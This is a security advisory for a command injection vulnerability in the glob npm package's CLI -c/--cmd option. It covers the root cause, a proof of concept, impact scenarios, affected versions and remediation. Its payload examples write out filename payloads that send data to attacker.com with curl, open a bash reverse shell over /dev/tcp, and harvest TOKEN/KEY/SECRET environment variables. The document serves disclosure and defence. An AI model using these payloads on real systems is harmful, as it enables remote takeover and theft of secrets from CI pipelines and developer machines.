glob CLI: Command injection via -c/--cmd executes matches with shell:true

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

1. User runs glob -c <command> <pattern>

2. CLI finds files matching the pattern

3. Matched filenames are collected into an array

4. Command is executed with matched filenames as arguments using shell: true

5. Shell interprets metacharacters in filenames as command syntax

6. Malicious filenames execute arbitrary commands

Affected Component:

• CLI Only: The vulnerability affects only the command-line interface

• Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected

• Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

• Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.

• Any directory where attackers can control filenames (PR branches, archives, user uploads)

• CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

• The echo command executes normally

• Additionally: The $(touch injected_poc) in the filename is evaluated by the shell

• A new file injected_poc is created, proving command execution

• Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

• Commands execute with full privileges of the user running glob CLI

• No privilege escalation required - runs as current user

• Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

• Malicious PR adds files with crafted names to repository

• CI pipeline uses glob -c to process files (linting, testing, deployment)

• Commands execute in CI environment with build secrets and deployment credentials

• Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

• Developer clones repository or extracts archive containing malicious filenames

• Local build scripts use glob -c for file processing

• Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

• Services using glob CLI to process uploaded files or external content

• File uploads with malicious names trigger command execution

• Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

• Malicious packages or themes include files with crafted names

• Build processes using glob CLI automatically process these files

• Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

• POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing

• Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL

• Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

• Ecosystem: npm

• Package name: glob

• Component: CLI only (src/bin.mts)

• Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)

• Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)

• Patched versions: 11.1.0and 10.5.0

Scope Limitation:

• Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe

• CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

• Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.

• If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.

• As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.